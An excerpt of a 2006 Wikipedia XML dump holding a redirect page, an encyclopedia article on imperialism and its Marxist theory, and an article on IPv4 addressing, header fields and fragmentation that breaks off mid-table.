    <id>15315</id>
    <revision>
      <id>36668474</id>
      <timestamp>2006-01-25T18:09:54Z</timestamp>
      <contributor>
        <username>NicM</username>
        <id>152416</id>
      </contributor>
      <comment>fix</comment>
      <text xml:space="preserve">#redirect [[Interreligious organisations]]</text>
    </revision>
  </page>
  <page>
    <title>Imperialism</title>
    <id>15316</id>
    <revision>
      <id>41971348</id>
      <timestamp>2006-03-02T23:33:34Z</timestamp>
      <contributor>
        <ip>82.120.233.230</ip>
      </contributor>
      <comment>/* Modern imperialism */  Added Iran in the list of countries which suffered from US-backed coups.</comment>
      <text xml:space="preserve">{{dablink|For the computer strategy game released in 1997, see [[Imperialism (game)]].}}

'''Imperialism''' is a policy of extending control or authority over foreign entities as a means of acquisition and/or maintenance of [[empire]]s, either through direct [[territory|territorial]] conquest or through indirect methods of exerting control on the [[politics]] and/or [[Economics|economy]] of other countries. The term is often used to describe the policy of a country in maintaining [[colony|colonies]] and dominance over distant lands, regardless of whether the country calls itself an empire.

Insofar as 'imperialism' might be used to refer to an intellectual position, it would imply the belief that the acquisition and maintenance of empires is a positive good, probably combined with an assumption of cultural or other such superiority inherent to imperial power (see [[The White Man's Burden]]).

Imperialism draws heavy criticism on the grounds that historically it has been frequently employed for economic [[exploitation]] in which the imperialist power makes use of other countries as sources of raw materials and cheap labor, shaping their economies to suit its own interests, and keeping their people in [[poverty]]. When imperialism is accompanied by overt military conquest, it is also seen as a violation of [[freedom (political)|freedom]] and [[human rights]].

In recent years, there has also been a trend to criticize imperialism not at an economic or political level, but at a simply cultural level, particularly the widespread global influence of [[American culture]] - see [[cultural imperialism]]. Some dispute this extension, however, on the grounds that it is highly subjective (to differentiate between mutual interaction and undue influence) and also applied selectively (hamburgers being imperialist and black tea not). The debate continues.

== Etymology ==

The Latin root is ''imperium'' (command or supreme power).  The original meaning of ''imperialist'' was &quot;an adherent of an emperor&quot;.  Its current meaning dates from the late 19th century in relation to the actions of the [[British Empire]]; it subsequently grew to apply to any historical or contemporary instance of a greater power acting, or perceived to be acting, at the expense of a lesser power.  Imperialism is therefore not only used to describe bona fide empire-building policies, such as those of the Romans, the Spanish or the British, but it is also used controversially and/or disparagingly, for example by both sides in communist and anti-communist propaganda, or to describe actions of the United States since its acquisition of overseas territory during the [[Spanish American War]], to its present-day position as the world's only superpower.

== Modern imperialism ==

[[Image:US-UK-power.jpg|right|thumb|Political caricature illustrating U.S. and U.K. as world leaders.]]
{{mergefrom|Modern Western Imperialism}}
There is a contemporary debate surrounding the [[United States]] and whether the power it exerts upon much of the world and its policy amounts to imperialism &amp;mdash; hence sometimes the U.S. is referred to as the &quot;[[American Empire (term)|American Empire]].&quot; This is because, with the collapse of the [[Soviet Union]] and the end of the [[Cold War]], the [[United States]] is now the dominant power in the world. Furthermore, the U.S. has, many times over the past century, used both military intervention and economic or political influence to shape the countries within the [[Western Hemisphere]]. Opinions vary greatly within the U.S.: there are those who regard the active use of military force abroad as a part of the nation's responsibility or [[national interest]], and there are others who argue for [[United States non-interventionism|non-interventionism]], and many shades of opinion in between.

The term ''American Empire'' is naturally controversial, since ''empire'' is largely limited to descriptions of history (rather than contemporary events) and likewise the historical examples of empire tend to be more familiar and evocative of the concept. As such, modern examples of coercion and [[militarism]] may be viewed differently.

The United States has also only had very few years of status as sole [[superpower]], without the [[Soviet Union]] as its dominant political, military, and ideological foe. The [[Cold War]] battle for [[geopolitics|geopolitical]] supremacy tends to be cast in terms of 'freedom versus repression,' thereby diminishing the imperial aspects of both powers. Further, as &quot;imperialism&quot; tends to have negative connotations of [[tyranny]] and [[Political repression|repression]], such a claimed empire's &quot;subjects&quot; may be naturally disinclined to use it in any reference to themselves.

In the early 21st Century, the U.S. has turned military, political, and economic resources towards oil-rich countries in [[Central Asia]] and the [[Middle East]]. Beginning with the end of [[World War II]], the U.S. largely took over from the [[UK]] certain roles by which it exerted influence in the [[Middle East]]. Through [[United States]]-instigated and assisted assassinations and coups, several Middle Eastern nations have felt the strong influence of Western societies: [[Egypt]], [[Iran]], [[Iraq]], [[Saudi Arabia]], [[Syria]], [[Lebanon]], and [[Israel]] have been directly or otherwise substantially influenced by U.S. policy.
(This does not include prior or continuing [[British Empire]] holdings of the time &amp;mdash; notably in [[India]] and [[Pakistan]].)

As there are few other countries with such a capability, it has been said by some that U.S. military actions are partly or mostly acts of militarist imperialism. Others simply believe that such allegations are used as groundless criticism against the U.S. whenever it takes a military action. Two uncontroversial facts are that the U.S. currently has a much larger and more sophisticated military than any other country &amp;mdash; operating over 100 bases in every part of the world. The U.S. has also used its military to control its interests. It is debatable whether these things alone constitute imperialism, or whether such &quot;imperialism&quot; adequately resembles past incarnations &amp;mdash; Roman, British, German or otherwise.

==Marxist theory of Imperialism==

[[Karl Marx]] never published a theory of imperialism, although he referred to [[colonialism]] in [[Das Kapital]] as an aspect of the prehistory of the [[capitalist mode of production]]. In various articles he also analysed British colonial rule in Ireland and India.

[[Marxism|Marxists]] use the term ''imperialism'' as [[Lenin]] defined it: &quot;the highest stage of capitalism&quot;, specifically the era in which monopoly finance capital becomes dominant, forcing nations and corporations to compete amongst themselves increasingly for control over resources and markets all over the world. Such control may take the form of geopolitical machinations, military adventures, or financial maneuvers. This usage of the term &quot;imperialism&quot; is in some ways inaccurate, since imperialism is historically implicated in the very origins of capitalism - although historians differ in their assessment of its economic importance.

The essential feature of the Marxist theories of imperialism, or related theories such as [[dependency theory]], is their focus on the [[economic]] relation between countries, rather than the formal [[political]] relationship. Imperialism thus consists not necessarily in the direct control of one country by another, but in the economic [[exploitation]] of one region by another, or of a group by another. This Marxist usage contrasts with many people's understanding of the connotation of the word 'imperialism', which they think of as relating to the era when countries ''directly'' controlled vast empires, rather than the ''economic'' domination that some parts of the world have over others today - this popular view is a conflation of imperialism with [[colonialism]], the establishment of overseas colonies.

As noted above, the Marxist theory of imperialism is not founded on the works of [[Karl Marx]], but on those of [[Vladimir Lenin]]. Nevertheless, the theory is accepted today by the majority of Marxists, even those who are not [[Leninism|Leninists]]. It states that imperialism allows the [[capitalism|capitalists]] from developed (rich) countries to extract a [[superprofit]] from the [[working class]] of undeveloped (poor) countries. The majority of this superprofit is kept by the capitalists themselves, but some of it is shared with the working class of the developed countries (in the form of higher standards of living, cheaper consumer goods, etc.), in order to placate that working class and avoid revolution at home.

The [[Soviet Union]], which claimed to follow Leninism, proclaimed itself the foremost enemy of imperialism and supported many independence movements throughout the [[Third World]]. However, at the same time, it asserted its dominance over the countries of [[Eastern Europe]]. This has led many to accuse the Soviet Union of [[hypocrisy]], and it is often used as an argument for the idea that the Soviet Union did not, in fact, follow Leninist principles.

New developments in the Marxist study of imperialism stem from the ground-breaking study ''The Age of Imperialism'', written by [[Harry Magdoff]] in 1969. [[Globalization]] is generally viewed as the latest incarnation of imperialism among Marxists.

==Name dualism==
One thing to note in some allegedly imperialistic countries is the &quot;melting&quot; between the name — and in many times, the sense of [[National identity|national identity]] — of the titular nation and the other territories controlled by this nation including the titular nation itself. Some examples are:

*[[Ottoman Empire]] / [[Turkey]]

*[[British Empire]] / [[England]]

*[[German Empire]] / [[Prussia]]

*[[Soviet Union]] / [[Russia]]

*[[Yugoslavia]] / [[Serbia]]

==Quotes==

*&quot;The term “imperialism” is no more precise, and its overuse and recent abuse is making it nearly meaningless as an analytical concept....“imperialism” is “more often the name of the emotion that reacts to a series of events than a definition of the events themselves. Where Colonization finds analysts and analogies, imperialism must contend with crusaders for and against.&quot;--Benevolent Assimilation The American Conquest of the Philippines, 1899-1903, --Stuart Creighton Miller, (Yale University Press, 1982): page 3, quoting Professor Archibald Paton Thorton author of the book ''Doctrines of Imperialism''.

[[ca:Imperialisme]]
[[cs:Imperialismus]]
[[da:Imperialisme]]
[[de:Imperialismus]]
[[es:Imperialismo]]
[[fr:Impérialisme]]
[[ko:제국주의]]
[[he:אימפריאליזם]]
[[nl:Imperialisme]]
[[ja:帝国主義]]
[[nn:Imperialisme]]
[[no:Imperialisme]]
[[pl:Imperializm]]
[[pt:Imperialismo]]
[[ro:Imperialism]]
[[sl:Imperializem]]
[[fi:Imperialismi]]
[[sv:Imperialism]]
[[th:ลัทธิจักรวรรดินิยม]]
[[zh:帝国主义]]

[[Category:Imperialism|*]]
[[Category:Political philosophy]]
[[Category:Philosophical concepts]]
[[Category:Marxist theory]]
[[Category:History of colonialism]]</text>
    </revision>
  </page>
  <page>
    <title>IPv4</title>
    <id>15317</id>
    <revision>
      <id>42080240</id>
      <timestamp>2006-03-03T18:11:57Z</timestamp>
      <contributor>
        <username>Cburnett</username>
        <id>140084</id>
      </contributor>
      <minor />
      <comment>/* Addressing */ Note</comment>
      <text xml:space="preserve">{{IPstack}}

'''IPv4''' is version 4 of the [[Internet Protocol]] (IP) and it is the first version of the Internet Protocol to be widely deployed.
IPv4 is the dominant [[network layer]] protocol on the [[internet]] and when ignoring its successor &amp;mdash; [[IPv6]] &amp;mdash; it is the only protocol used on the [[internet]].

It is described in [[IETF]] RFC 791 (September 1981) which obsoleted RFC 760 (January 1980).

IPv4 is a data-oriented protocol to be used on a [[packet switched]] [[internetwork]] (e.g., [[Ethernet]]). It is a [[best effort delivery|best effort]] protocol in that it doesn't guarantee delivery. It doesn't make any guarantees on the correctness of the data; it may result in duplicated packets and/or packets out-of-order. All of these things are addressed by an upper layer protocol (e.g., [[Transmission Control Protocol|TCP]], [[User Datagram Protocol|UDP]]).

==Addressing==
&lt;!-- Note: [[IP address]] points to this heading so if you rename this then fix that link --&gt;
IPv4 uses 32-[[bit]] (4 [[byte]]) addresses which limits the [[address space]] to 4,294,967,295 possible unique addresses.
However, many are reserved for special purposes such as [[private network]]s (~18 million addresses) or [[multicast]] addresses (~1 million addresses). This reduces the number of addresses that can be allocated as public Internet addresses and as the number of addresses available is consumed, an [[#Exhaustion|IPv4 address shortage]] appears to be inevitable in the long run.

This limitation has helped stimulate the push towards [[IPv6]], which is currently in the early stages of deployment and is currently the only contender to replace IPv4.

===Address representations===
When writing IPv4 addresses in strings the most common notation is the [[dot-decimal notation]]. There are other notations based on the values of the [[octet (computing)|octet]]s of the IP address.

For example, the IPv4 address for &lt;tt&gt;www.wikipedia.org&lt;/tt&gt; is &lt;tt&gt;207.142.131.235&lt;/tt&gt; in the dot-decimal notation which comprises four octets in [[decimal]] separated by periods. This is the base format used in the conversion in the following table:

{| class=&quot;wikitable&quot;
|-
! Notation !! Value !! Conversion from dot-decimal
|-
| [[Dot-decimal notation]]
| &lt;tt&gt;207.142.131.235&lt;/tt&gt;
| N/A
|-
| Dotted Hexadecimal
| &lt;tt&gt;0xCF.0x8E.0x83.0xEB&lt;/tt&gt;
| Each octet is individually converted to hex
|-
| Dotted Octal
| &lt;tt&gt;0317.0216.0203.0353&lt;/tt&gt;
| Each octet is individually converted into octal
|-
| [[Hexadecimal]]
| &lt;tt&gt;0xCF8E83EB&lt;/tt&gt;
| Concatenation of the octets from the dotted hexadecimal
|-
| [[Decimal]]
| &lt;tt&gt;3482223595&lt;/tt&gt;
| The hexadecimal form converted to decimal
|-
| [[Octal]]
| &lt;tt&gt;031743501753&lt;/tt&gt;
| The hexadecimal form converted to octal
|}

All/most of these formats should work in all browsers.
Additionally, in dotted format, each octet can be of the different bases.
For example, &lt;tt&gt;207.0x8E.0203.235&lt;/tt&gt; is a valid (though unconventional) equivalent to the above addresses.


A final form is not really a notation since it is rarely written in an ASCII string notation.  That form is a binary form of the hexadecimal notation in binary.  This difference is merely the representational difference between the string &quot;0xCF8E83EB&quot; and the 32-bit integer value 0xCF8e83EB.  This form is used in both the source and destination fields.

===Allocation===
Originally, the IP address was divided into two parts:
* network number &amp;ndash; first octet
* rest &amp;ndash; last three octets

This created an upper limit of 256 networks and led to the creation of [[classful network]]s.
Under classful networking, 5 classes were created (A, B, C, D, &amp; E) with 3 created (A, B, &amp; C) with different lengths of network number and rest fields to change the number of IPs in each range: few networks with lots of addresses and numerous networks with only a few addresses.
Class D was for [[multicast]] addresses and class E is reserved.

Around [[1993]], the classful networks were replaced with a [[Classless Inter-Domain Routing]] (CIDR) scheme.
CIDR's primary advantage is to allow subdivision of networks to let entities sub-allocate IPs (e.g., an [[Internet service provider|ISP]] to a customer).

The actual assignment of an address is not arbitrary.
The fundamental principle of [[routing]] is that address encodes information about a device's location within a network.
This implies that an address assigned to one part of a network will not function in another part of the network.
A hierarchical structure, created by CIDR and overseen by the [[Internet Assigned Numbers Authority]] (IANA) and its [[Regional Internet Registry|Regional Internet Registries]] (RIRs), manages the assignment of Internet address worldwide.
Each RIR maintains a publically searchable [[WHOIS]] database that provides information about IP address assignments; information from these databases plays a central role in numerous tools which attempt to locate IP addresses geographically.

{| class=&quot;wikitable&quot;
|+ '''Reserved address blocks'''
|-
! [[Classless Inter-Domain Routing|CIDR]] address block || Description || Reference
|-
| 0.0.0.0/8 || Current network (only valid as source address) || RFC 1700
|-
| 10.0.0.0/8 || [[Private network]] || RFC 1918
|-
| 14.0.0.0/8 || Public data network || RFC 1700
|-
| 39.0.0.0/8 || Reserved || RFC 1797
|-
| 127.0.0.0/8 || [[Localhost]] || RFC 1700
|-
| 128.0.0.0/16 || Reserved || &amp;nbsp;
|-
| 169.254.0.0/16 || [[Private network]] || RFC 3927
|-
| 172.16.0.0/12 || [[Private network]] || RFC 1918
|-
| 191.255.0.0/16 || &amp;nbsp; || &amp;nbsp;
|-
| 192.0.0.0/24 || &amp;nbsp; || &amp;nbsp;
|-
| 192.0.2.0/24 || Test network || RFC 3330
|-
| 192.88.99.0/24 || [[IPv6]] to [[IPv4]] relay || RFC 3068
|-
| 192.168.0.0/16 || [[Private network]] || RFC 1918
|-
| 198.18.0.0/15 || Network benchmark tests || RFC 2544
|-
| 223.255.255.0/24 || Reserved || RFC 3330
|-
| 224.0.0.0/4 || [[Multicast|Multicasts]] (former Class D network) || RFC 3171
|-
| 240.0.0.0/4 || Reserved (former Class E network) || RFC 1700
|-
| 255.255.255.255 || Broadcast || &amp;nbsp;
|-
|}

===Private networks===
Of the 4+ billion addresses allowed in IPv4, three ranges of address are reserved for [[private network]]ing use only.
These ranges are not routable outside of private network and private machines cannot directly communicate with public networks.
They can, however, do so through [[network address translation]].

The following are the three ranges reserved for private networks:

{| class=&quot;wikitable&quot;
! Name !! IP address range !! number of IPs
! ''[[classful network|classful]]'' description !! largest [[Classless Inter-Domain Routing|CIDR]] block
|-
| 24-bit block || 10.0.0.0 &amp;ndash; 10.255.255.255 || 16,777,215 || single class A || 10.0.0.0/8
|-
| 20-bit block || 172.16.0.0 &amp;ndash; 172.31.255.255 || 1,048,576 || 16 contiguous class Bs || 172.16.0.0/12
|-
| 16-bit block || 192.168.0.0 &amp;ndash; 192.168.255.255 || 65,535 || 256 continguous class Cs || 192.168.0.0/16
|}

===Localhost===
{{main|localhost}}

In addition to private networking, the IP range 127.0.0.0 &amp;ndash; 127.255.255.255 (or 127.0.0.0/8 in [[Classless Inter-Domain Routing|CIDR]] notation) is reserved for [[localhost]] communication.
Any address within this range should never appear on an actual network and any packet sent to this address should loopback as an incoming packet to the same machine.

===Resolving===
{{main|Domain Name System}}

The [[internet]] is most publicly known not by IP addresses but by names (e.g., www.wikipedia.org, www.whitehouse.gov).
The routing of IP packets across the internet is oblivious to such names.
This requires translating (or resolving) names to IP address.

The [[Domain Name System]] (DNS) provides such a system to convert names to IP address(es) and IP addresses to names.
Much like CIDR addressing, the DNS naming is also hierarchial and allows for subdelegation of name spaces to other DNS servers.

===Exhaustion===
A concern that has spanned decades to the [[1980s]] is the exhaustion of available IP addresses.
This was the driving factor in [[classful network]]s and then later in the creation of [[Classless Inter-Domain Routing|CIDR]] addressing.

Today, there are several driving forces to the next address allocation solution:
* mobile devices &amp;mdash; [[laptop computer]]s, [[personal digital assistant|PDA]]s, [[mobile phone]]s
* always-on devices &amp;mdash; [[Asymmetric Digital Subscriber Line|ADSL]]s, [[cable modem]]s
* rapidly growing number of internet users

The most visible solution is to migrate to [[IPv6]] since the address size jumps dramatically from 32-bit to 128-bit which would allow about 18 [[quintillion]] people their own set of 18 quintillion addresses (3.4e18 total addresses). However, migration has proved to be a challenge in itself, and total internet adoption of IPv6 is unlikely to occur for many years.

Some things that can be done to mitigate the IPv4 address exhaustion are (not mutually exclusive):
* [[network address translation]]
* use of [[private network]]s
* [[Dynamic Host Configuration Protocol]]
* [[virtual hosting]]
* tighter control by [[Regional Internet Registry|Regional Internet Registries]] on the allocation of addresses to Local Internet Registries
* network renumbering to reclaim large blocks of address space allocated in the early days of the internet

[[As of 2004]], predictions for the exhaustion of the IPv4 address space range from [[2016]] (for unallocated pool exhaustion) to [[2023]] (for complete exhaustion of the address space).
Historically, though, forward predictions for the date of address exhaustion have been unreliable; predictions from the late [[1980s]] have not been borne out in practice.

==Network address translation==
{{main|Network address translation}}

One method to increase both address utilization and security is to use [[network address translation]] (NAT).
By assigning one IP to a public machine as an [[internet]] [[Gateway (telecommunications)|gateway]] and using a [[private network]] for an organization's computers allows for considerable address savings.
This also increases security by making all of the computers on a private network not directly accessible to the public network.

==Virtual private networks==
{{main|Virtual private network}}

Since private address ranges are deliberately ignored by all public routers, it is not normally possible to connect two private networks (e.g., two branch offices) via the public Internet. [[Virtual private network]]s (VPNs) solve this problem.

VPNs work by inserting an IP packet (encapsulated packet) directly into the data field of another IP packet (encapsulating packet) and using a publicly routable address in the encapsulating packet. Once the VPN packet is routed across the public network and reaches the endpoint, the encapsulated packet is extracted and then transmitted on the private network just as if the two private networks were directly connected.

Optionally, the encapsulated packet can be encrypted to secure the data while over the public network (see VPN article for more details).

==Address Resolution Protocol==
{{main|Address Resolution Protocol}}

Since IP is an upper layer protocol to the [[data link layer]] there arises a problem of when a computer with IP address A wants to communicate with IP address B.
In order to send a packet from A to B then A needs to know the hardware address of B.
This discover is done through [[Address Resolution Protocol]] (ARP).

==Reverse Address Resolution Protocol/DHCP==
{{main articles|[[Reverse Address Resolution Protocol]], [[BOOTP]], [[Dynamic Host Configuration Protocol]]}}

Unlike the situation outlined for ARP, the case arises when a computer knows its [[data link layer]] address but not its IP address.
This is a common scenario in [[private network]]s and [[Digital Subscriber Line]] (DSL) connections when the IP address of the machines are irrelevant.
This is usually the case for [[work station]]s but not [[server (computing)|servers]].

RARP is an obsoleted method for answering this question: This is my hardware address, what is my IP address?
RARP was replaced by [[BOOTP]] which, in turn, was replaced by [[Dynamic Host Configuration Protocol]] (DHCP).

In addition to sending the IP address, DHCP can also send the [[Network Time Protocol|NTP]] server, [[Domain Name System|DNS]] servers, and more.

==Packet structure==
An IP packet consists of two sections:
* header
* data

The header consists of 13 fields and, of which, only 12 are required.  The 13&lt;sup&gt;th&lt;/sup&gt; field is optional (red background in table) and aptly named: options.

===Header===
{| border=&quot;0&quot; align=&quot;right&quot;
|-
|
{| class=&quot;wikitable&quot; style=&quot;margin: 0 auto; text-align: center; width: 50em;&quot;
|-
! colspan=&quot;1&quot;|+
! colspan=&quot;4&quot; width=&quot;13%&quot;|Bits 0 - 3
! colspan=&quot;4&quot; width=&quot;13%&quot;|4 - 7
! colspan=&quot;8&quot; width=&quot;25%&quot;|8 - 15
! colspan=&quot;3&quot; width=&quot;10%&quot;|16 - 18
! colspan=&quot;13&quot; width=&quot;39%&quot;|19 - 31
|-
! colspan=&quot;1&quot;|0
| colspan=&quot;4&quot;|Version
| colspan=&quot;4&quot;|Header length
| colspan=&quot;8&quot;|Type of Service&lt;br /&gt;(now [[Differentiated services|DiffServ]] and [[Explicit Congestion Notification|ECN]])
| colspan=&quot;16&quot;|Total Length
|-
! colspan=&quot;1&quot;|32
| colspan=&quot;16&quot;|Identification
| colspan=&quot;3&quot;|Flags
| colspan=&quot;13&quot;|Fragment Offset
|-
! colspan=&quot;1&quot;|64
| colspan=&quot;8&quot;|Time to Live
| colspan=&quot;8&quot;|Protocol
| colspan=&quot;16&quot;|Header Checksum
|-
! colspan=&quot;1&quot;|96
| colspan=&quot;32&quot;|Source Address
|-
! colspan=&quot;1&quot;|128
| colspan=&quot;32&quot;|Destination Address
|-
! colspan=&quot;1&quot;|160
| colspan=&quot;32&quot; bgcolor=&quot;#FFDDDD&quot;|Options
|-
! colspan=&quot;1&quot;|160/192+
| colspan=&quot;32&quot;|&amp;nbsp;&lt;br /&gt;Data&lt;br /&gt;&amp;nbsp;
|}
|}

; Version : The first header field in an IP [[packet]] is the 4-bit version field.  For IPv4, this has a value of 4 (hence the name IPv4).

; Internet Header Length (IHL) : The second field is a 4-bit Internet Header Length (IHL) telling the number of 32-bit [[Word (computer science)|words]] in the header.  Since an IPv4 header may contain a variable number of options, this field specifies the size of the header which coincides with the offset to the data.  The minimum header size is 20 bytes, so the minimum value for this field is 5 (5×4 = 20 bytes).  Being a 4-bit field the maximum length is 15 words or 60 bytes.

; Type of Service (ToS) : In RFC 791, the following 8 bits were allocated to a Type of Service (ToS) field:

:* bits 0-2: precedence
:* bit 3: 0 = Normal Delay, 1 = Low Delay
:* bit 4: 0 = Normal Throughput, 1 = High Throughput
:* bit 5: 0 = Normal Reliability, 1 = High Reliability
:* bits 6-7: Reserved for future use

:This field is now used for [[Differentiated services|DiffServ]] and [[Explicit Congestion Notification|ECN]].  The original intention was for a sending host to specify a preference for how the datagram would be handled as it made its way through an internetwork.  For instance, one host could set its IPv4 datagrams' ToS field value to prefer low delay, while another might prefer high reliability.  In practice, the ToS field has not been widely implemented.  However, a great deal of experimental, research and deployment work has focused on how to make use of these eight bits.  These bits have been redefined, most recently through [[DiffServ]] working group in the IETF and the [[Explicit Congestion Notification]] codepoints (see RFC 3168).  New technologies are emerging that require real-time data streaming and therefore will make use of the ToS field. An example is [[Voice over IP]] (VoIP) that is used for interactive data voice exchange.

; Total Length : This field defines the entire datagram size, including header and data, in bytes.  The minimum-length datagram is 20 bytes (20 bytes header + 0 bytes data) and the maximum is 65,535 &amp;mdash; the maximum value of a 16-bit word.  The minimum size datagram which any host is '''required''' to be able to handle is 576 bytes, but most modern hosts handle much larger packets. Sometimes [[subnetwork]]s impose further restrictions on the size, in which case datagrams must be [[Fragmentation (computer)|fragmented]].  Fragmentation is handled in either the host or packet switch in IPv4 (''see [[#Fragmentation and reassembly]]'').

; Identification : This field is an identification field and is primarily used for uniquely identifying fragments of an original IP datagram.  Some experimental work has suggested using the ID field for other purposes, such as for adding packet tracing information to datagrams in order to help trace back datagrams with spoofed source addresses.

; Flags : A 3-bit field follows and is used to control or identify fragments. They are (in order, from high order to low order):

:* Reserved, must be zero
:* Don't Fragment (DF)
:* More Fragments (MF)

:If the DF flag is set and fragmentation is required to route the packet then the packet will be dropped.  This can be used when sending packets to a host that does not have sufficient resources to handle fragmentation.

:When a packet is fragmented, all fragments have the MF flag set except the last fragment which does not have the MF flag set.  The MF flag is also not set on packets which are not fragmented &amp;mdash; clearly an unfragment packet can be considered the last fragment.

; Fragment Offset : The fragment offset field is 13-bits long and allows a receiver to determine the place of a particular fragment in the original IP datagram, measured in units of 8-byte blocks.  This method allows for a maximum packet length of 65,528 ((2^13 - 1)*8 which exceeds the maximum IP packet length of 65,535.

; Time To Live (TTL) : An 8-bit [[time to live]] (TTL) field helps prevent datagrams from persisting (e.g. going in circles) on an internetwork.  Historically the TTL field limited a datagram's lifetime in seconds, but has come to be a [[hop count]] field.  Each packet switch (or [[router]]) that a datagram crosses decrements the TTL field by one.  When the TTL field hits zero, the packet is no longer forwarded by a packet switch and is discarded.  Typically, an [[Internet Control Message Protocol|ICMP]] message (specifically the [[ICMP Time Exceeded|time exceeded]]) is sent back to the sender that it has been discarded.  The reception of these ICMP messages is at the heart of how [[traceroute]] works.

; Protocol : This field defines the protocol used in the data portion of the IP datagram.  The [[Internet Assigned Numbers Authority]] maintains a list of Protocol numbers and were originally defined in RFC 790.  Common protocols and their decimal values are shown below (''see [[#Data]]'').

; Header Checksum : The 16-bit [[checksum]] field is used for error-checking of the header.  At each hop, the checksum of the header must be compared to the value of this field.  If a header checksum is found to be mismatched, then the packet is discarded.  Note that errors in the data field are up to the encapsulated protocol to handle &amp;mdash; indeed, both [[User Datagram Protocol|UDP]] and [[Transmission Control Protocol|TCP]] have internet checksum fields.  

: Since the TTL field is decremented on each hop and fragmentation is possible at each hop then at each hop the checksum will have to be recomputed.  The method used to compute the checksum is defined within RFC 791:

:: ''The checksum field is the 16 bit one's complement of the one's complement sum of all 16 bit words in the header.  For purposes of computing the checksum, the value of the checksum field is zero.''

: In other words, all 16-bit words are summed together using [[one's complement]] (with the checksum field set to zero).  The sum is then one's complemented.  This final value is then inserted as the checksum field.

; Source address : An [[IP address]] is a group of 4 8-bit octets for a total of 32 bits.  The value for this field is determined by taking the binary value of each octet and concatenating them together to make a single 32-bit value.

: For example, the address 10.9.8.7 (00001010.00001001.00001000.00000111 in binary) would be 00001010000010010000100000000111.

: This address is the address of the sender of the packet.  Note that this address may not be the &quot;true&quot; sender of the packet due to [[network address translation]].  Instead, the source address will be translated by the NATing machine to its own address.  Thus, reply packets sent by the receiver are routed to the NATing machine, which translates the destination address to the original sender's address.

; Destination address : Identical to the source address field but indicates the receiver of the packet.

; Options : Additional header fields (called ''options'') may follow the destination address field, but these are not often used. Note that the value in the IHL field must include enough extra 32-bit words to hold all the options (plus any padding needed to ensure that the header contains an integral number of 32-bit words). The list of options may be terminated with an EOL (End of Options List) option; this is only necessary if the end of the options would not otherwise coincide with the end of the header.

: The use of the LSSR and SSRR options (Loose and Strict Source and Record Route) is discouraged because they create security concerns; packets with them are therefore usually blocked by routers.

===Data===
The last field is not apart of the header and, consequently, not included in the checksum field.
The contents of the data field are specified in the protocol header field and can be any one of the [[transport layer]] protocols.

Some of the most commonly used protocols are listed below including their value used in the protocol field:
* [[Internet Control Message Protocol]] (ICMP) &amp;ndash; 1
* [[Internet Group Management Protocol]] (IGMP) &amp;ndash; 2
* [[Open Shortest Path First]] (OSPF) &amp;ndash; 89
* [[Real-time Transport Protocol]] (RTP)
* [[Stream Control Transmission Protocol]] (SCTP) &amp;ndash; 132
* [[Transmission Control Protocol]] (TCP) &amp;ndash; 6
* [[User Datagram Protocol]] (UDP) &amp;ndash; 17

See [[List of IPv4 protocol numbers]] for a complete list.

==Fragmentation and reassembly==
To make IPv4 more tolerant of different networks the concept of [[fragmentation (computer)|fragmentation]] was added so that, if necessary, a device could break up the data into smaller pieces.
This is necessary when the [[MTU (networking)|maximum transmission unit]] (MTU) is smaller than the packet size.

For example, the maximum size of an IP packet is 65,535 bytes while the typical MTU for [[ethernet]] is 1,500 bytes.
Since the IP header consumes 20 bytes (without options) of the 1,500 bytes, that leaves 1,480 bytes of IP data per ethernet frame (this leads to an MTU for IP of 1,480 bytes).
Therefore, a 65,535 byte data payload would require 45 packets (65535/1480 = 44.28).

Fragmentation was chosen to occur at the IP layer is that IP is the first layer that connects hosts instead of machines.
If fragmentation were performed on higher layers (TCP, UDP, etc.) then this would make fragmentation/reassembly be redundantly implemented (once per protocol); if fragmentation were performed on a lower layer (ethernet, ATM, etc.) then this would require fragmentation/reassembly be performed on each hope (could be quite costly) and redundantly implemented (once per link layer protocol).
So doing fragmentation at the IP layer is the most efficient layer for this to be done.

===Fragmentation===
When a device receives an IP packet it examines the destination address and determines the outgoing interface to use.
This interface an associated MTU that dictates the maximum data size for its payload.
If the MTU is smaller than the data size then the device must fragment the data.

The device then segments the data into segments where each segment is less-than-or-equal-to the MTU less the IP header size (20 bytes minimum; 60 bytes maximum).
Each segment is that put into it's own IP packet with the following changes:
* The ''total length'' field will be adjusted to the segment size
* The ''more fragments'' (MF) flag is set for all segments except the last one
* The ''fragment offset'' field is set accordingly based on the offset of the segment in the original data payload

For example, for an IP header of length 20 bytes and an ethernet MTU of 1,500 bytes the fragment offsets would be: 0, 1480, 2960, 4440, 5920, etc.

By some chance if a packet changes link layer protocols or the MTU reduces then these fragments would be fragmented again.

For example, if a 4,500 byte data payload is inserted into an IP packet with no options (thus total length is 5,020 bytes) and is transmitted over a link with an MTU of 2,500 bytes then it will be broken up into two fragments:

{| class=&quot;wikitable&quot;
|-
!rowspan=&quot;2&quot;| # !!colspan=&quot;2&quot; width=&quot;200&quot;| Total length !!rowspan=&quot;2&quot;| More fragments (MF)&lt;BR&gt;flag set? !!rowspan=&quot;2&quot;| Fragment offset
|-
!width=&quot;100&quot;| Header !!width=&quot;100&quot;| Data
|-
|rowspan=&quot;2&quot; align=&quot;center&quot;| 1 ||colspan=&quot;2&quot; align=&quot;center&quot;| 2500 ||rowspan=&quot;2&quot; align=&quot;center&quot; {{yes}} ||rowspan=&quot;2&quot; align=&quot;center&quot;| 0
|-
| align=&quot;center&quot;| 20 || align=&quot;center&quot;| 2480
|-
|rowspan=&quot;2&quot; align=&quot;center&quot;| 2 ||colspan=&quot;2&quot; align=&quot;center&quot;| 2040 ||rowspan=&quot;2&quot; align=&quot;center&quot; {{no}} ||rowspan=&quot;2&quot; align=&quot;center&quot;| 2480
|-
| align=&quot;center&quot;| 20 || align=&quot;center&quot;| 2020
|}

Now, let's say the MTU drops to 1,500 bytes.  Each fragment will individually be split up into two more fragments each:
{| class=&quot;wikitable&quot;
|-
!rowspan=&quot;2&quot;| # !!colspan=&quot;2&quot; width=&quot;200&quot;| Total length !!rowspan=&quot;2&quot;| More fragments (MF)&lt;BR&gt;flag set? !!rowspan=&quot;2&quot;| Fragment offset
|-
!width=&quot;100&quot;| Header !!width=&quot;100&quot;| Data
|-
|rowspan=&quot;2&quot; align=&quot;center&quot;| 1 ||colspan=&quot;2&quot; align=&quot;center&quot;| 1500 ||rowspan=&quot;2&quot; align=&quot;center&quot; {{yes}} ||rowspan=&quot;2&quot; align=&quot;center&quot;| 0
|-
| align=&quot;center&quot;| 20 || align=&quot;center&quot;| 1480
|-
